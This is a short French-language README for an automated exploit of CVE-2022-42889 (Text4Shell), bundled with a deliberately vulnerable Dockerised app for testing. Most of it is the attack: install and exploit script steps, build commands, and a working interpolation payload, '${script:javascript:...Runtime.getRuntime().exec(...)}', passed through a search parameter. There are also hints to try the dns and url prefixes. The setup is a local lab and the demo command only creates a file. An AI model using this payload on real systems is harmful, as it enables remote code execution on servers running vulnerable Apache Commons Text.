
Exploit automatisé pour CVE-2022-42889 (Text4Shell) avec une application Dockerisée vulnérable pour les tests et des conseils d'exploitation manuelle.
//Pour le hacking automatisé : 1../install.sh
2../exploit.sh
3.Pour supprimer l'application, utilisez ./stopapp.sh
//Pour le hacking manuel :
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Vous pouvez également essayer d'utiliser les préfixes dns ou url.
Obtenir l'ID du conteneur
docker container ls
docker exec -it <container_id> bash
foo créé dans le répertoire /tmp) :ls /tmp/
docker container stop <container_id>